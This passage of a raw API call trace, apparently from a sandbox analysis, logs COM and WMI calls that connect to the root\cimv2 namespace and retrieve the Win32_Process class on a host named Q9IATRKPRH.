returned 0x0 [0068.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a8c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0068.496] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf2a8c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf2a920) returned 0x0 [0068.496] WbemLocator:IUnknown:Release (This=0x1bf2a8c0) returned 0x0 [0068.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf2a920) returned 0x0 [0068.496] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0068.497] WbemLocator:IUnknown:AddRef (This=0x1bf2a920) returned 0x3 [0068.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0068.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0068.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0068.497] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0068.497] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0068.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0068.497] WbemLocator:IUnknown:Release (This=0x1bf2a920) returned 0x2 [0068.497] WbemLocator:IUnknown:Release (This=0x1bf2a920) returned 0x1 [0068.497] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0068.497] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0068.497] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2a920, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf2a920) returned 0x0 [0068.497] WbemLocator:IUnknown:AddRef (This=0x1bf2a920) returned 0x3 [0068.497] WbemLocator:IUnknown:Release (This=0x1bf2a920) returned 0x2 [0068.497] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0068.497] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0068.497] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.497] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf2a940) returned 0x0 [0068.497] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf2a940, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea6750) returned 0x0 [0068.566] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6750, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef1ab0) returned 0x0 [0068.566] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1ab0, pProxy=0x1bea6750, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0068.567] WbemLocator:IUnknown:Release (This=0x1bef1ab0) returned 0x1 [0068.567] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6750, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef1af0) returned 0x0 [0068.567] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6750, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef1ab0) returned 0x0 [0068.567] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1ab0, pProxy=0x1bea6750, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0068.567] WbemLocator:IUnknown:Release (This=0x1bef1ab0) returned 0x2 [0068.567] WbemLocator:IUnknown:Release (This=0x1bef1af0) returned 0x1 [0068.567] CoTaskMemFree (pv=0x1bf3d700) [0068.567] WbemLocator:IUnknown:AddRef (This=0x1bea6750) returned 0x2 [0068.567] WbemLocator:IUnknown:Release (This=0x1bf2a940) returned 0x0 [0068.568] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0068.568] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0068.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6750, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef1ac0) returned 0x0 [0068.568] WbemLocator:IRpcOptions:Query (in: This=0x1bef1ac0, pPrx=0x1bf2a820, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0068.568] WbemLocator:IUnknown:Release (This=0x1bef1ac0) returned 0x2 [0068.568] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0068.568] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0068.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6750, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea6750) returned 0x0 [0068.568] WbemLocator:IUnknown:Release (This=0x1bea6750) returned 0x2 [0068.568] SysStringLen (param_1=0x0) returned 0x0 [0068.568] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bae0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0068.568] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0068.568] WbemDefPath:IWbemPath:GetText (in: This=0x119bae0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.568] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0068.569] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0068.569] IWbemServices:GetObject (in: This=0x1bea6750, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef3ce0, ppCallResult=0x0) returned 0x0 [0068.573] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0068.573] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0068.573] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0068.573] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0068.573] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0068.573] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0068.573] IUnknown:Release (This=0x111f638) returned 0x1 [0068.575] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf2a940) returned 0x0 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2a940, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0068.576] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2a940, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119b960) returned 0x0 [0068.576] WbemDefPath:IUnknown:Release (This=0x1bf2a940) returned 0x0 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119b960) returned 0x0 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0068.576] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf2a960) returned 0x0 [0068.576] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2a960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.576] WbemDefPath:IUnknown:Release (This=0x1bf2a960) returned 0x3 [0068.576] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0068.576] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0068.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0068.577] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0068.577] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x1 [0068.577] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0068.577] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0068.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b960, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119b960) returned 0x0 [0068.577] WbemDefPath:IUnknown:AddRef (This=0x119b960) returned 0x3 [0068.577] WbemDefPath:IUnknown:Release (This=0x119b960) returned 0x2 [0068.577] WbemDefPath:IWbemPath:SetText (This=0x119b960, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.577] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.577] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0068.577] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0068.577] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.577] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0068.577] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0068.578] IWbemClassObject:Get (in: This=0x1bef3ce0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.578] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0068.578] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0068.578] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.578] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.578] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.578] IUnknown:Release (This=0x111f638) returned 0x1 [0068.580] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf11a60) returned 0x0 [0068.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11a60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.580] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11a60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b8a0) returned 0x0 [0068.580] WbemDefPath:IUnknown:Release (This=0x1bf11a60) returned 0x0 [0068.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b8a0) returned 0x0 [0068.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.580] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0068.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf119c0) returned 0x0 [0068.581] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf119c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.581] WbemDefPath:IUnknown:Release (This=0x1bf119c0) returned 0x3 [0068.581] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.581] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.581] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0068.581] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x1 [0068.581] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.581] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b8a0) returned 0x0 [0068.581] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0068.581] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0068.581] WbemDefPath:IWbemPath:SetText (This=0x119b8a0, uMode=0x4, pszPath="") returned 0x0 [0068.581] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.581] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.581] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.581] IUnknown:Release (This=0x111f638) returned 0x1 [0068.583] CoGetClassObject (in: 